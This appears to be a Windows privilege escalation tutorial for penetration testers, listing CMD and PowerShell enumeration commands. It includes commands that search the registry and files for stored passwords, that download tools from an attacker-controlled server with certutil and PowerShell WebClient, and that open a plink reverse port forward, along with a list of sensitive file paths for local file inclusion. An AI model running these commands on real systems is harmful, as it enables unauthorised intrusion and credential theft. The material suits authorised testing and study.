Privilege escalation always comes down to proper enumeration. But to accomplish proper enumeration you need to know what to check and look for. This takes familiarity with systems that normally comes along with experience. At first privilege escalation can seem like a daunting task, but after a while you start to filter through what is normal and what isn’t. It eventually becomes easier to know what to look for rather than digging through everything hoping to find that needle in the haystack. Hopefully this guide will provide a good foundation to build upon and get you started.

This guide is influenced by g0tm1lk’s Basic Linux Privilege Escalation, which at some point you should have already seen and used. I wanted to try to mirror his guide, except for Windows. So this guide will mostly focus on the enumeration aspect.

Note: I am not an expert and still learning myself.

Guide Layout

In each section I first provide the old trusted CMD commands and then also a Powershell equivalent for posterity sake. It’s good to have both tools under your belt and Powershell is much more versatile for scripting than the traditional CMD. However there isn’t a Powershell equivalent for everything (or CMD is still simply easier/better on certain things), so some sections will only contain regular CMD commands.

Operating System

What is the OS and architecture? Is it missing any patches?

wmic qfe

Is there anything interesting in environment variables? A domain controller in LOGONSERVER?

Get-ChildItem Env: | ft Key,Value

Are there any other connected drives?

net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root


Who are you?


Any interesting user privileges? Note: The State column does not mean that the user does or does not have access to this privilege. If the privilege is listed, then that user has it.

whoami /priv

What users are on the system? Any old user profiles that weren’t cleaned up?

net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

Is anyone else logged in?


What groups are on the system?

net localgroup
Get-LocalGroup | ft Name

Are any of the users in the Administrators group?

net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Anything in the Registry for User Autologon?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

Anything interesting in Credential Manager?

cmdkey /list

Can we access SAM and SYSTEM files?


Programs, Processes, and Services

What software is installed?

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Are there any weak folder or file permissions?

Full Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" 

Modify Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} 

You can also upload accesschk from Sysinternals to check for writeable folders and files.

accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *

What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it? See Port Forwarding in Appendix.

tasklist /svc
tasklist /v
net start
sc query

Get-Process has a -IncludeUserName option to see the process owner, however you have to have administrative rights to use it.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

Any weak service permissions? Can we reconfigure anything? Again, upload accesschk.

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

Are there any unquoted service paths?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

What scheduled tasks are there? Anything custom implemented?

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

What is ran at startup?

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

Is AlwaysInstallElevated enabled? I have not ran across this but it doesn’t hurt to check.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated


What NICs are connected? Are there multiple networks?

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

What routes do we have?

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Anything in the ARP cache?

arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Are there connections to other hosts?

netstat -ano

Anything in the hosts file?


Is the firewall turned on? If so what’s configured?

netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

Any other interesting interface configurations?

netsh dump

Are there any SNMP configurations?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Interesting Files and Sensitive Information

This section may be a little noisy so you may want to output commands into txt files to review and parse as you wish.

Any passwords in the registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s 

Are there sysprep or unattend files available that weren’t cleaned up?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?

dir /a C:\inetpub\
dir /s web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

What’s in the IIS Logs?


Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Any Apache web logs?

dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Any interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?

dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

Files containing password inside them?

findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"


Enumeration Script

I’ve created a Powershell script which pretty much automates all of the above. You can check it out here.

Transferring Files

At some point during privilege escalation you will need to get files onto your target. Below are some easy ways to do so.

Powershell Cmdlet (Powershell 3.0 and higher)

Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"

Powershell One-Liner

(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:\Windows\Temp\filename") 

Powershell Script

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://IPADDRESS/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Non-interactive FTP via text file. Useful for when you only have limited command execution.

echo open 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt


certutil.exe -urlcache -split -f https://myserver/filename outputfilename

Port Forwarding

This is useful for exposing inside services that aren’t available from outside the machine, normally due to firewall settings.

Upload plink.exe to target.

Start SSH on your attacking machine.

For example to expose SMB, on the target run:

plink.exe -l root -pw password -R 445: YOURIPADDRESS

Note: As of the Fall Creators Update for Windows 10, OpenSSH has been introduced in beta for Windows, so I expect one day we may be able to use just regular old SSH commands for port forwarding, depending on if it’s enabled.

Local File Inclusion List

This is not an exhaustive list, installation directories will vary, I’ve only listed common ones.

C:\Documents and Settings\Administrator\NTUser.dat
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\xampp\FileZillaFTP\FileZilla Server.xml